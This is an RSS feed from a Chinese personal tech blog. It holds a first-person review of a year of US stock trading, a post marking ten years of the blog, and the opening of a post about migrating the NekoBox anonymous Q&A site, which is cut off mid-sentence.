Light Cubehttps://github.red/当真心想要做成一件事的时候,人总是孤独的。6468003778633935042144677325825024https://github.red/images/2016/09/loading_logo.pngLight Cubehttps://github.red/Hugo -- gohugo.iozh-cnMon, 02 Feb 2026 23:10:00 +0800勇闯纳斯达克:复盘我的美股第一年https://github.red/us-stock-1-year/Mon, 02 Feb 2026 23:10:00 +0800https://github.red/us-stock-1-year/<p>一年多以前,我还对普通人炒股这种事嗤之以鼻。我觉得那就是庄家做局坑人割韭菜的玩意,钱进了股市注定会血本无归。</p> <p>每当我看到身边有去炒股的人,我都会有种莫名的优越感,觉得自己才是保持清醒看透本质的聪明人。就像《创世纪》里霍景良的经典台词:“每天九点钟坐车上班,每个月也就挣那一万几千,省吃俭用玩股票,妄想一朝发财,他们根本就不知道真正的大赢家是什么人。”</p> <div align="center"> <img src="https://github.red/images/2026/01/创世纪截图.jpeg" width="50%" alt="创世纪截图"> </div> <p>同时我还极度厌恶风险,大部分的资产都集中在低风险的理财产品中(如微众银行的活期+ Plus,工资到手又上交公司了属于是)。这类产品基本不会有回撤,最多就是因为市场动荡某天收益为 0 而已。但这偶尔的收益为 0 也会让我感觉自己亏了钱,然后开始内耗。🤣</p> <p>事情的转机发生在 2024 年末,受 KM 上同事的推荐,我去读了《金钱心理学》这本书。这本书主要想传达的是储蓄和复利的力量。书中虽然强调要控制风险并坚持足够长的时间,让复利发挥奇效,但并没有否定充满风险的股市,反倒是用巴菲特的例子来说明了价值投资的重要性。</p> <p>这本书极大地改变了我对股市的看法,我觉得可以拿出储蓄里的一点小钱,去长期投资一些优质标的,来博取更高的收益。</p> <p>2025 年的春节,我提前几天回了深圳,赶在过年放假前的工作日,去香港办了卡。具体可以看我小红书的<a href="https://www.xiaohongshu.com/discovery/item/6797c2d10000000018010c4c?source=webshare&amp;xhsshare=pc_web&amp;xsec_token=ABZEoKxuLtApGGj1si1QCTOKp5nqg-nz-e34wBbWXoerI=&amp;xsec_source=pc_share">这篇笔记</a>。当时开了汇丰银行和众安银行两家的卡。众安是全程线上办理,上传了出入境记录后,很快就开通了。汇丰则是因为名字重名的问题,无法当场下卡,只能回去等实体卡和密码函的信件寄到家里。</p> <p>最后果然不出意外的出意外了,后续我一直没能收到汇丰的信件。但因为众安银行的账户已经可以用来入金了,也就一直没管这事。去年 6 月想起来了,打电话让汇丰补发信件,又是过了好久,卡和密码总算寄到了。然而使用 App 激活时又提示出错了,最后还是去年 10 月国庆假期时,抽了一天时间去香港线下激活。但汇丰的卡也不是一点用处没有,我之前 HackerOne 是用 Wise 来收漏洞赏金的,后面改成众安银行的卡,提示打款被拒绝,再次改成绑定汇丰银行的卡,就能成功收款了。</p> <p>回到正题,在办理了银行卡,并开通了长桥证券账号后,从零开始的美股冒险就此开始了!我将按时间顺序来梳理我过去 2025 年的操作与感悟。</p> <div class="box-warning box"><i class="box-icon-warning"></i> <p><strong>开头叠甲</strong></p> <p><strong>我没有任何系统性的金融知识,完全是小白水平从零开始。对股票的认知就是低点买,高点卖,然后就能赚钱。所以后面的很多观点可能并不成熟,甚至有的观点是因为幸存者偏差,不构成任何投资建议。</strong></p> </div> <h2 id="2-月--新手保护期的索螺丝">2 月 · 新手保护期的“索螺丝”</h2> <p>在关注美股以前,我曾听闻过苹果成为美股首家市值突破 2 万亿美元的上市公司的新闻,后续苹果又是首家市值突破 3 万亿美元的公司。因此想先买点苹果 AAPL 练练手。瞄准苹果开盘后的一个低点,“豪掷” 700 美元买了 3 股 AAPL。</p> <p>可能是还在“新手保护期”吧,还真让我买在了当天的低点,没过多久就开始涨了,收盘时涨了 2 个点。</p> <p>之后苹果连涨了好几天,直到 2 月 21 日开始回调下跌。虽然只是小跌了 0.11%,但我还是有样学样地卖出了 1 股。(手续费都 2 美元了🤣)</p> <p>我在苹果这里尝到了甜头,单纯地认为股票只要找准合适的下跌时间,买入,然后等待上涨就行了。</p> <p>市场很快就给我上了一课。</p> <p>买入苹果的第二天,我又将目光瞄准了 TSLA 特斯拉。</p> <p>我发现特斯拉在前一天 2 月 11 日下跌了 6 个点,便觉得它还会继续下跌。直接买了 20 股的 2 倍做空特斯拉。<strong>当时我觉得自己会做空股票可太帅了!别人买涨,我买跌,我就是叛逆,这太帅了!我就是大空头索罗斯!</strong></p> <p>结果就是,特斯拉在 2 月 12 日、13 日两天都在上涨,第二天甚至涨了 5.77%,填补了之前的下跌。我开始慌了,以为等后面正股跌回来就好了。这时有小伙伴告诉我,2 倍做空这种加杠杆的行为,是会有“磨损”的。</p> <p>“磨损”是很简单的数学原理。我记得有这么一个笑话:给你的工资先涨薪 10% 再降薪 10%,与先降薪 10% 再涨 10%,到手都是亏了的。</p> <p>因为 <code>1 * 1.1 * 0.9 = 0.99</code>,而乘法满足交换律,所以前后相同的乘数,不管是先涨后跌还是先跌后涨,最后的总数都是减少的。而杠杆又放大了这个比例,这就是 “磨损”。2 倍做空亏损后,正股需要超过之前的跌幅,才能开始回本。</p> <p>第一次意识到还有这种风险,我吓得果断选择了全部清仓。前后亏损了 60 多美元。这次教训之后,我就不太敢做空了。甚至一段时间内都没再碰过特斯拉的股票。当然,站在上帝视角回看,后面发生的事情我们都知道了—— 2025 年 3 月,特朗普发动关税战,美股股灾。如果我的 2 倍做空特斯拉能拿到 3 月,确实能狠狠赚一笔。</p> <p>可惜,没有如果。</p> <p>在特斯拉这里栽了跟头后,我又去关注了下英伟达 NVDA,买入了 5 股。这次因为持有的是正股,我也就不那么慌了,想着一直拿着就好,跌了就补补仓。</p> <p>然而我对“补仓”这一行为,也没有概念。</p> <p>我以 141.40 的价格买入了 5 股英伟达,买入的 8 分钟后,股价跌了 1 美元,为 140.40。 <strong>然后我就想:股票下跌,是时候该加仓了!</strong> 以 140.40 的价格马上买了 2 股。过了 40 分钟,又跌了 1 美元到 139.00,我又买了 3 股!过两天发现跌了 2 美元到 137.00,我又买了 3 股。4 个小时后跌了 3 美元,我又补了 1 股。</p> <p>当时的我对于涨跌的幅度以及每次下单时券商收取的手续费完全没有概念,看到股价跌了一点就补,导致总体成本也没降下去,白白损失了手续费。后来跟我爸聊起这事,他才纠正我,让我在英伟达每次跌幅超过 10 美元时,才选择加仓,后续涨了 10 美元时,就卖出。</p> <h2 id="3-月--已经没有什么好害怕的了">3 月 · 已经没有什么好害怕的了</h2> <p>我按照爸爸的建议,在 3 月 3 日英伟达距离我上次买入价跌了 10 美元时,以 112.80 的价格买入 10 股英伟达。</p> <p>然而 3 月特朗普发动关税战,对我国征收高达 145% 的离谱关税。面对英伟达股票连续几天的下跌,在 3 月 11 日的时候我终于忍不住了,选择购买英伟达 2 倍做空 NVD 来进行对冲,降低亏损。是的,我又开始加杠杆做空了。好巧不巧,英伟达从那天开始上涨修复了!最终给我成功搞成了不管英伟达股票上涨还是下跌,我两头都挨打的局面。😅</p> <p>在买入 NVD 的 4 个小时后又匆匆卖出了,又亏损了 60 多美元。</p> <p>好消息是,10 美元买入卖出的策略初见成效。</p> <p>在英伟达上涨了 8 美元,我卖出了 10 股。后面跌了 10 美元,我又以 110 美元的价格接了回来。跌到 100 美元时,又继续补仓。后续涨到 111、120、130 时再分批卖出。这波操作稳稳的降低了我的持仓成本,实打实赚到了钱。</p> <p>现在回头来看,我愿称之为“反向马丁策略”。“马丁策略”也就是倍投策略,即赌博时每次翻倍下注,赢一次就能回本且赚钱。马丁策略的问题在于,每输一次,下次需要押注的金额呈指数上涨,除非资金量无限,否则多输几次很快就破产了。</p> <p>而我跌 10 块买入,涨 10 块卖出的方法,实际上是相反的。我算了下,在英伟达股价 110 美元的时候,它跌 10 块我买 10 股,哪怕它跌到 0 元,我要付出的本金就是:<code>((100 + 10) * 10 / 2) * 10 = 5500</code> 美元。这个金额是确定的,哪怕英伟达破产退市股价为 0,我也只投入了 5500 美元。如果真有那一天,那显卡估计也不值钱了,我可以白菜价买 RTX 5090,想想也不亏。</p> <p>英伟达涨了,我赚钱;英伟达跌了,我可以低价买卡。正反都是我赢,好!</p> <p>经历了这次股灾之后,我总是会想:<strong>“我经历过 86 块钱的英伟达,所以已经没有什么好害怕的了。”</strong></p> <h2 id="4-月--刀口舔血">4 月 · 刀口舔血</h2> <p>4 月除了继续在英伟达上微操之外,我还铤而走险去买了 NVD 和 UVIX。</p> <p>4 月 17 日盘前,在公司吃完饭时,我看到新闻说老黄突然来北京谈合作了。没多想就买了 10 股 2 倍做空 NVDA。开盘后英伟达居然真的下跌了,两倍做空涨了 3 美元后我寻思差不多了,赶紧卖出,小赚一点点。</p> <p>4 月 29 日睡觉前,我看到消息说特朗普将于美国时间 4 月 29 日发表百日施政讲话。我寻思特朗普这次肯定又会口无遮拦乱说话,怕不是又要带崩股市。所以睡前买了 20 股 2 倍做多恐慌指数期货 UVIX。第二天晚上去找 C 老板吃饭时,发现股价真的开始下跌了,UVIX 涨直接了 15%!我在开盘后的高点迅速卖出,小赚了一笔。但事后再看,还好当晚赶紧卖出了,从那之后 UVIX 就一直在下跌,如果没卖就彻底被套住了!</p> <p>以上两次操作虽然都赚钱了,<strong>但我很清楚这些都是靠运气赚到的,所谓的看消息面只是我的一厢情愿。</strong> 技巧一点没有,只是被我蒙对了。</p> <h2 id="6-月--看不懂的不碰">6 月 · 看不懂的不碰</h2> <p>5 月份上半月沉迷 MyGo 和 AveMujica,下半月去东京玩了一圈,美股基本没什么操作。</p> <p>时间来到 6 月,稳定币发行公司 Circle 于 6 月 5 日在纽交所上市,发行价为每股 31 美元。说实话,我对币圈一直是比较抵触的,在我的认知里,普通人玩币迟早有一天会爆仓完蛋。而我又不知道稳定币到底是个什么玩意,觉得应该也是币圈的东西,最好不碰为妙。</p> <p>但 Circle CRCL 上市第一天,股价上涨 140+% 来到了 80 多美元。我试探性地挂了 79 元买入 10 股的单,快收盘时成交了。第二天睡醒一看,夜盘直接涨到了 89 块,我赶紧选择卖出,一晚上就赚了 100 美元。</p> <p>当天开盘后 CRCL 股价一度冲上了 120 美元,后面甚至连涨一周多,最高点股价接近 300 美元。但是我对于这次踏空并不后悔,稳定币完全是我认知以外的东西,我并不清楚它的来龙去脉和运作原理,能赚到钱纯属跟对了风口。<strong>对于自己看不懂的东西,我坚定地选择不去碰为好。</strong></p> <p>说来也是有意思,CRCL 从 7 月之后就一直下跌,期间虽然有小的修复,但整体趋势还是向下的。最近比特币价格一直下跌,CRCL 的股价一度跌到了 62 块。现在回看,庆幸还好当时跑了,并且再也没碰过。</p> <p>我怀疑散户因为这次 CRCL 上市的涨幅,对后面上市的知名公司,都有了迷之信心。对,我要说的就是被称为 2025 年最受关注的科技股 IPO:Figma FIG。Figma 作为平面 UI 设计的绝对独角兽,还曾拒绝了 Adobe 的收购,我估计很多人会将 Figma 的上市看做下一个 Circle。</p> <p>Figma 上市当天确实上涨了超过 300%,很多人觉得它会像 Circle 那样连涨 7 天,所以纷纷高位进场。谁曾想 Figma 在第 4 天就破发了。往后更是一路下跌,发财报也不亮眼。我当时也在想要不要买点试试,最后因为价格太高没买成,还好还好。</p> <h2 id="7-9-月--名为火箭的噩梦">7-9 月 · 名为火箭的噩梦</h2> <p>由于我在 Circle、英伟达、特斯拉、CloudFlare 上数次投机成功,赚了点钱。我开始有点飘了,7 月时买入了小盘股 Destiny Tech 100 DXYZ,长达 3 个月的噩梦就此开始了。</p> <p>Destiny XYZ 并不是一家常规的科技公司,它是一家资产管理公司。Destiny Tech 100 是一个包含 100 家待上市的顶级科技公司的投资组合。DXYZ 持有这些未上市公司的股票,包装为投资组合,目的是让普通人也能参与私募市场的投资。投资组合中占比最大的就是 SpaceX,因此 DXYZ 常被当做 SpaceX 或者私人航天火箭相关的标的进行投资。</p> <p>我以 35.25 的价格买入了 DXYZ,随后的两个月内它基本一直在下跌,很少有涨的时候。SpaceX 星舰的发射也屡屡受挫,消息面上也带不动股价的上涨。我很难再重复之前在英伟达上的操作,来不断买入卖出降低成本。到 9 月底的时候,它的股价已经跌到了 25 美元左右。</p> <p>一开始我还只是嘴上抱怨咋买了这么个垃圾股票,后来逐渐发展成了自己吓自己。我开始在推特上搜索网友关于 DXYZ 的评论,有人说他市盈率过高,有人说这就是一个把股东当 ATM 的骗钱玩意。我发现这股票没有期权,无法做空、往期财报刚好赶在行情好的时候发布、创始人的上一家公司经营的也不好。我还找到了创始人的 Linkedin 和 GitHub,发现他的 GitHub 比脸还干净。</p> <p>这些消息让我逐渐对 DXYZ 丧失信心,时间来到 9 月底,我决定想办法赶紧回本然后跑路。</p> <p>经过很多天的观察,我发现 DXYZ 这种成交量很少的小盘股,虽然每天盘中都是在下跌。但每天北京时间早上八九点,夜盘开始时,总会出现几个比当前股价高 2-3%涨幅的买入单。我也不知道这是哪来的大冤种,每到夜盘就花高价买入。后续有人跟我说是做市商,我寻思这做市商人还挺好,说不定我能趁机将成本降下去。</p> <p>我的计划是这样的:DXYZ 每次盘中快收盘时,往往是股价最低点,这时候使用券商融资大笔买入 100 股,等到夜盘涨了 2-3% 的时候顺势卖出。每天不断这样操作,既没有融资的利息,又可以不断降低成本。我在 9 月底连着 3 天都这样操作,每天都盯盘盯的很晚,心里总是不踏实,每晚睡觉做梦都是 DXYZ 涨了或者跌了。在后来长桥的年度总结里,我有天打开 App 看了上百次 DXYZ。</p> <p>我连着 3 天都成功盘后低价买入,夜盘高价卖出。甚至有一天的夜盘,要是我再晚 5 分钟卖出,股价还能涨更高,那个时候恰好就能解套了。但我忽略了一件事,虽然我每天 100 股的买入卖出,确实赚了钱,但我原来持有的 30 股 DXYZ,却一直没有动,那 30 股还是随着每天股价的下跌而亏钱,一来一回,我的总成本并没有降低多少。我一开始就应该卖出那 30 股的!</p> <p>意识到这一点的时候,已经是第 4 天了,这天不出意外翻车了。DXYZ 并没有按我设想中的那样在夜盘有个上涨,我一直等到了当天开盘也没有出现。开盘后,股价还是照常下跌,此时我手握 160 股的 DXYZ,稍微的一点跌幅,亏损都会被放大很多。我直接慌了,最后以 22.70 的价格将手上的 DXYZ 股票全部卖出。</p> <p>至此,我在 DXYZ 上亏了有 170 美元左右。但我心中的石头落地了,我终于可以睡个好觉了。</p> <p>那是 9 月的最后一天,DXYZ 在我卖出后还在不断下跌,此时我的心里只有劫后余生的庆幸。</p> <p><strong>但这还并不是故事的结尾,经历了长达数月的下跌后,在我清仓后的第二天,10 月 1 日,DXYZ 暴涨 31.78%!</strong></p> <p>没有任何理由,没有任何新闻,它就是涨了,在我卖出后涨了。</p> <p>如果我当时能再多坚持 24 小时不卖出,等到第二天开盘时,我就能狠狠地赚上一笔了。</p> <p>这件事之后,我再也不碰小盘股了。</p> <h2 id="10-12-月--欲速则不达">10-12 月 · 欲速则不达</h2> <p>经历了 DXYZ 之后,我开始转向保守型投资了。后面买了美股七姐妹 ETF $MAGS 和纳斯达克指数 ETF $QTOP。这些标的跟着大盘走,收益虽然低,但稳定且可控。</p> <p>在年初刚开始时,长桥有一个买期权送卡券的活动。这是我唯一一次碰期权,象征性地买了 2 张还有 14 天到期的英特尔 INTC Put 看跌期权,过了几天涨了 0.01 元后卖出,赚了 2 美元。但是算上手续费后,整体其实是亏的。这导致在我 App 的盈亏分析排行榜中,有个几块钱的英特尔的亏损,让人看着不爽。我寻思可以买点英特尔正股,随便赚一点把这个亏损的数给填上。</p> <p>我在 10 月底英特尔大涨 5% 后的第二天回调开始建仓,成本 41.77,挺高的。后续英特尔持续下跌,但我认为这支股票已经和美国政府的利益捆绑在一起了,可以说像是波音公司一样,是美国的亲儿子,后面特朗普随便发表点暴论,立刻就能涨回来。</p> <p>后续连着跌了几天,我在 38.32 时又补了点。然而 11 月底时,由于美国政府停摆 + 降息预期下降,科技股在那段时间都有不同程度的下跌。这其实是绝佳的抄底时刻,可惜我在前面的补仓中已经打光了子弹,手头还握着 MAGS 和 QTOP,实在没有闲钱加仓。因为不确定这波下跌周期会持续多久,也不敢冒然去融资。只能静静等待。</p> <p>当然英特尔也算争气,11 月 28 日传出英特尔成为苹果供应商的消息,大涨 10%。(英特尔:嘿嘿,又要到饭了)12 月 2 日又大涨 8%,创年内新高。我看赚得也差不多了,分批全卖掉了。好巧不巧卖掉之后英特尔就开始下跌了,但我也没选择继续接回来,英特尔好几次大涨都是因为传出又与某某公司合作的消息,要到饭了所以股价涨了,我认为长期来看这很不健康。</p> <p>虽然之后 1 月英特尔破新高涨到了 54 元,你可以理解为我又踏空了,但跟 Circle 一样,我只想赚自己认知内该赚的钱。</p> <p>值得一提的是,我前几次都在赌英伟达的财报,每次财报发布前买一点,然而每次财报发布后都是下跌的行情,过了一阵子才涨回来。因此英伟达 11 月份的财报我决定不赌了,肯定又是下跌的剧情,等跌的差不多了我再来抄底!</p> <p>然而财报发布后的当晚开盘,英伟达股价居然没有下跌。我以为是自己的判断出了问题,说不定英伟达这次财报跟之前都不一样,这次是要涨了呢?我赶紧以 194.80 的价格开始建仓,谁知到了盘中后半夜,英伟达急速下跌,当天直接跌了将近 8%!老黄都站出来表示不理解,英伟达保持了这么好的增长业绩,为什么市场还不买账?</p> <p>是啊,我也疑惑,为什么市场还不买账?但没办法,既然被套住了,那就只能想办法解决了。我继续按照 3 月的策略,在盘后跌到 180.20 时补了一点降低下成本。之后就是长达一个多月的横盘,但我不急,我坚信英伟达会涨回来的。我之前买 DXYZ 都被套了 3 个月,就算被英伟达套 3 个月又有什么可怕的呢?</p> <p>等到 1 月 6 日,英伟达开盘股价站上 192 时,我知道时间来了,卖出了 180.20 时加仓的部分。横盘了一个多月的英伟达,这天快收盘时果不其然地又跌回去了,我又在低价给接回来了。做了一个还算完美的 T。</p> <p>现在我的英伟达持仓成本已经降到 186 左右了,但我不甘心就这样卖掉。因为浪费了快两个月的时间成本,我很想等到它重回 200 时再卖。</p> <h2 id="1-月--运气投机者">1 月 · 运气投机者</h2> <p>1 月的某天中午,我在公司午休刚睡醒。看到台积电发布了财报,财报内容远超预期。我立刻融资买入,当天晚上开盘后台积电 TSM 涨了将近 7 个点。我在开盘后的第一个高点全部卖出。完美的一次日内融空手套白狼。</p> <p>1 月 29 日,我看特斯拉跌了 3 个点,从开盘 437 美元最低跌到了将近 415 美元,盘中慢慢又涨回去了。按照我对特斯拉这种“妖股”的理解,它每次大幅下跌后,第二天都会快速修复,可能这就是马斯克信徒的力量吧。我抱着试一试的想法,挂了个 416 元的单。第二天一觉醒来后发现居然成交了!当天晚上果然上涨了 5 个点,由于时间已经临近周五,再加上我这次又是靠融资买入的,害怕周末夜长梦多,万一特朗普又发疯说了什么话,周一大跌就完蛋了。索性周五在高点卖了,又是小赚一笔,成功把特斯拉的持仓成本降低到了 400 以下。</p> <p>我爸后来叮嘱我,让我不要再去碰融资融券这些东西。用自己的钱,做确定的买卖,最多也只是全部亏光,融资则是亏完后还倒欠别人的钱。我也开始有意识的去改正,由于大盘最近一直不是很景气,我清仓了手上的 QTOP,准备多留些子弹去布局其它标的。</p> <h2 id="总结">总结</h2> <p>这是我从零开始炒美股的第一年,最终也是获得了将近 30% 的年收益率。</p> <div align="center"> <img src="https://github.red/images/2026/01/2025年收益率.png" width="50%" alt="2025年收益率"> </div> <p>期间有过像 CRCL 这样的靠运气大赚,也有像 DXYZ 这样的靠认知大亏。赚钱的时候我会沾沾自喜,觉得跑赢纳指也不是什么难事嘛。亏钱的时候,我才意识到巴菲特能在半个世纪的时间里,穿越周期并保持冷静是多么厉害。3 月的时候传出了巴菲特卖出苹果的消息,当时我跟很多人一样,觉得是这老头跟不上时代犯糊涂了,后面随之而来的股灾让我说不出话了。</p> <p>美股也让我被动去关注很多地缘政治信息、国际新闻、财经常识等。我开始知道美联储是啥,降息意味着什么,鲍威尔的 Good Afternoon 段子,ETF 是什么&hellip;&hellip;</p> <p><strong>美股破产四巨头:期权、小盘股、中概、做空。</strong></p> <p>在未来的日子里,我要时刻提醒自己,不要去碰期权。买卖期权在我看来就是赌博,期权就是资本重点收割的对象。同时我的脑子也理解不来那些复杂的期权策略,这里面的钱不该我赚。</p> <p>近半年来,网上关于使用大模型炒股的项目和比赛层出不穷。我也曾尝试过从零 Vibe Coding 一个大模型炒股程序,但最终还是弃坑了。一方面是觉得大模型炒股这件事并不靠谱;另一方面,我想把炒股当做一个闲暇时间的兴趣爱好,就像有的人喜欢钓鱼一样。他们并不会用机器或者 AI 去替代人工钓鱼这件事,因为个人的实际参与,才是这件事真正有意义的地方。我希望自己去关注,去按自己的思考下单买卖,大模型最多给我提供资讯方面的情报,它不应该替我执行决策。</p> <p>最后再打个广告,本文中的可交互股票图表组件,使用的是我编写的 Hugo 股票图表插件 <a href="https://github.com/wuhan005/hugo-trading-chart">hugo-trading-chart</a>。实现思路很简单,先从长桥的 API 抓取历史 K 线,再使用 TradingView 开源的 Lightweight Charts 组件绘制图表。数据抓取的部分是手写的,其余的前端全是 Vibe 出来的🤣,欢迎 Star~</p>LightCube 十周年https://github.red/lightcube-10th/Mon, 06 Oct 2025 21:13:12 +0800https://github.red/lightcube-10th/<blockquote> <p>十年前的午后,我在b站刷到了一个视频, 视频介绍了如何在 OpenShift 平台上搭建 WordPress 博客。</p> <p>很多年后,我才意识到那是一个多么生机勃勃的时代:Docker、K8s、Vue 才刚起步,字节才刚开始融资,AS3 还没凉,自然语言对话服务还是谷歌 DialogFlow,微软小冰,IBM Waston。</p> <p>可惜我找不到那个视频了,估计是被删了吧。但好在我跟着视频一步步搭建的博客,陪我记录了这十年。</p></blockquote> <p>我在 9 月 28 日凌晨发了这条朋友圈。原本是想等到 10 月 4 日再写些东西叙叙旧,奈何一想到 10 周年就心潮澎湃,就提前开始“预热”了。😂</p> <p>此刻,我正坐在同样的沙发上,同样面朝阳台,写下这段文字,和十年前一样。</p> <h2 id="回看黑历史">回看黑历史</h2> <blockquote> <p>你可以结合 <a href="https://github.red/archive/">文章归档</a> 页面,和我一起回忆我的“黑历史”。</p></blockquote> <p>我很少有能一直坚持下来的事情,很多 Side Project 都是轰轰烈烈开个头,三分钟热度一过,就再也不管了。写博客最初的动力源于 WordPress 后台给了我种打扮 QQ 空间的感觉,我可以换好看的主题,装一堆插件。但它比 QQ 空间的可定制程度更高,我可以通过自己的域名访问,可以在页面底部加自己的 Copyright 版权信息,一切都是自己的东西。</p> <p>在按自己的想法装扮完页面后,我想着得写点东西挂上去充数。那会儿我刚上高中,身上的“中二”气息还没褪去,再加上高中开局不利,考试成绩接连爆炸,所以写了些很丧又很幼稚的文章。现在看来真是黑历史。到了 2016 年的高二,我因为接触 WordPress 而开始学习 PHP 语言,但那时同样很难找到东西写,便把自己发的 QQ 空间说说转载到博客来,这样“滥竽充数”也就成为一篇文章了。文章大多很短,有些还很意识流,我已经看不懂当时的自己想表达什么了。</p> <p>2016 年下半年,我关注了「差评」公众号,在那之后的文章,会不自觉地去模仿差评公众号文章的标题和文笔。并且都是先发表在个人公众号,再顺带转载到博客。到了 2017 年,我终于是能写点正经技术文章了,我分享了如何给 WordPress 全站开启 CDN、写 C# 时踩得坑、用 CodeIgniter 框架写得小项目、用 PHP 写得微博爬虫&hellip;&hellip; 直到这里,我才算真正产出了能帮助别人文章。</p> <p>2018 年高考结束后的暑假,我分享了自己开发的微信小程序的前后端实现,如何实现树莓派的内网穿透,初识 Jenkins 等。上了大学后,大学的自由让我能自主规划去学很多新东西,博客文章也是一篇接着一篇。从 CTF 到 Docker、PHP Swoole、PHP 内核(虽然只开了头)、CI/CD、Serverless 函数计算、Redis、Vue,再到现在混饭吃用的 Go。我在那时开了 Apicon 这个坑,把我学到的这些东西融入到了这个项目里,就当是自娱自乐。</p> <p>时间来到 2020 年的疫情,那年我主要是在开发 CTF 平台 Cardinal,博客文章记录了我运营这个开源项目的感受,技术上和心理上的都有,虽然都比较“稚嫩”。2020 年下半年,我将重心投入到了在 ForkAI 的工作中,博客更新频率大不如从前。我在工作中接触到了 Macaron 框架和依赖注入,还被安利了《黑客与画家》这本书,我也总结了篇读书小记。</p> <p>2021 年我开了很多坑,比如 EggMD 协作文档、Elaina 代码运行器、mebeats 小米手环心率采集、asoul.video 视频站等。每个项目都有可以分享的内容,都是一篇独立的文章。(虽然很多项目后来我就没维护过了)</p> <p>这里我想重点表扬下 <a href="https://github.red/miband-heart-rate/">《Your Soul, Your Beats! —— 小米手环实时心率采集》</a> 这篇文章,这是所有文章中访问量最多的一篇,直到文章发布 4 年后的现在,每天都还有人阅读。抛开文章内容的实用性不谈,<strong>更重要的是这篇文章详细描述了我当时一步步解决问题的思路和方法技巧。</strong> 我首先使用软件检测电脑蓝牙,再逐步扩展到编写代码操作蓝牙;在遇到依赖库年久失修无法使用的情况时,我又是如何成功找到还在维护且可用的库;最后照应前文一步步的软件操作,将功能编写为代码。直到今天,我都认为这篇文章写得真的真的很好!</p> <p>2022-2023 年,又是 allin 工作的一年,文章产出更是大幅减少。这段时间的工作内容主要集中在 Kubernetes 集群,所以抽空写得文章都是些集群相关的骚操作。</p> <p>2024 年中,我入职了鹅厂。工作强度相比前几年小了很多,我有更多的时间去思考,去动手做一些新东西。刚入职的那一个月,几乎每个周末都能写一个新项目出来。(虽然很多都还没开源) 我开发了 Sayrud,它现在也被我用来搭建博客的评论后端。我基于 Traefik ForwardAuth 开发了自己的集群统一认证 ikD,现在我服务器集群对外暴露的所有服务,都已经接入了;甚至该 Side Project 还被我成功引入到了公司团队内,稍作修改后作为团队成员登录各服务的统一认证。😄 之后又自己实现了个大模型套壳站,这段关于大模型应用的开发经验也被我用在了公司的项目中。我发现 2024 年后,我在闲暇时间自己研究的事情——无论是开发的 Side Project,还是在自己的 Kubernetes 集群或者腾讯云运维中积累的知识,在未来的某一天都能反哺到我的工作中。颇有种我提前预判了我的工作,提前就给做完了的感觉。(叠甲:这并不是说我之后就开始摸鱼了,当然是在追求更加精益求精 😛)我很喜欢无心插柳柳成荫的意外收获,希望这样的日子能永远永远地继续下去。</p> <h2 id="未来">未来</h2> <p>我是一个很在意他人看法的人,不止是他人对我口头评价的看法,也体现在比如 Twitter 粉丝,博客文章评论量这些事情上。我会因为 GitHub Follower 数 -1 或者博客一直没人评论而烦恼,会因为日常工作中他人对我态度不友好而内耗一整天,即使这很有可能是我听错了或者想多了。我时常会在睡前突然想起白天尴尬的事情,然后在床上缩成一团。我会评判自己白天是不是哪句话说得不对,给别人留下了不好的印象。我时常会将自己的成就归结于百年难遇的运气爆棚,进而陷入自我怀疑,会有种不配得感。</p> <p>反过来也是同样,我对收到来自别人的反馈或者肯定可以兴奋地睡不着觉。之前很长一段时间没有维护过 NekoBox,偶然收到了来自用户的打赏和鼓励,那天晚上就跟打了鸡血一样写新功能肝到凌晨三四点。在工作中也同样,一旦收到了正反馈,我就会感觉这是自我价值得到了实现,自愿加班到 11 点后,开始抱怨为什么空调关了只能被迫下班。</p> <p>能让我坚持将一件事情做下去的动力有两个。<strong>一个是我能从中持续得到反馈,让我觉得自己的所作所为是被看见了的。另一个是我能“吃自己的狗粮”,我自己也会作为用户,会去不断使用我所创造的东西。</strong> NekoBox 是前者,ikD 是后者。</p> <p>站在十年这个时间点,我觉得得立个 Flag 做点什么。我在年初注册了 nekobase.com 这个域名,并备了案。我想开个新坑,将我博客中用到的服务组件作为 SaaS 开放出来,供大家使用(例如评论后端、代码运行器服务等),顺带继续拓宽技术栈,去做些“更高级的 CRUD”。我也不知道这个服务会不会有人来用,但至少我自己的博客会迁移过去,能 dogfooding 的话,就不会半路弃坑吧。(应该吧)</p> <p>我不知道下个十年的自己会身在何处,但当下,我发自内心地十分满意现在的工作和生活,希望这样的日子能永远永远地继续下去。</p>再看 NekoBox:迁移、重构、展望https://github.red/nekobox-refactor/Sat, 13 Sep 2025 23:12:57 +0800https://github.red/nekobox-refactor/<p>NekoBox 匿名提问箱于 2020 年 3 月上线以来,至今已有五位数的注册用户并产生了六位数的提问。</p> <p>这个数据大大的出乎了我的意料,要知道 NekoBox 从未对外公开宣传过,纯靠用户间口口相传。我很喜欢这种无心插柳柳成荫的事情,自己默默做得事情能够被看见,对我来说是很幸福的事。</p> <p>说来惭愧,一直以来我都是“放养式”运营,每次只有自己手头的工作不忙了,才会登录上兔小巢看一下用户的反馈,然后将一些恶性 Bug 或实现起来简单的需求给做了。很感谢使用 NekoBox 的各位能包容我的懒惰,依旧不离不弃。🧎🏻</p> <p>本文记录了近期 NekoBox 迁移与重构时踩过得坑,以及我对 NekoBox 的定位与后续展望。技术向的内容会有些多,不感兴趣可以直接跳到文末。</p> <h2 id="20230223-那天发生了什么">2023.02.23 那天发生了什么?</h2> <p>NekoBox 最开始是我 2020 年花三天时间写出来的,作为一个小玩具部署在我的国内服务器上,并且使用我个人的备案域名。网站可以使用任意的邮箱注册,并不需要用户输入手机号并验证实名,这其实是不符合我国《互联网信息服务管理办法》的。</p> <p>但当时抱有一定的侥幸心理,想着提问和回答都接了云服务商的文本内容审核 API,违规评论都会被拦截,再加上自己也没对外宣传这个站,应该不会有问题。</p> <p>但这在无形中给我埋下了一个大雷。</p> <p>2023 年 2 月 23 日上午 11 点左右,我在家接到了网信办的电话,对方说有人在 NekoBox 发布违法言论,我作为站长,需要配合调查。当时我吓坏了,马上光速注销备案 + 关站,并认真配合警察叔叔的工作。</p> <p>最后好在我没有利用 NekoBox 进行盈利,且我事先也接了相关文本审核的功能,在配合工作提供了相关材料后,这件事便告一段落了。还好没留下什么案底,已经是万幸了。</p> <p>事后复盘发现,那名用户使用谐音和表情符号绕过了文本内容审核功能。这让我意识到机器审核 API 也会有严重的漏报,但一方面因为成本原因又无法做到每条信息都接人工审核服务。</p> <p>互联网不是法外之地!</p> <p>这件事给我的打击挺大的,我最初的想法是将网站代码开源出来,大家能够一起共建,可惜 GitHub 上一直没有多少贡献者,还被炸弹人给爆破了。原先的国内网站下线后,我收到了很多用户的反馈,纷纷询问站点怎么无法访问了,<strong>甚至还有一位网友因为 NekoBox 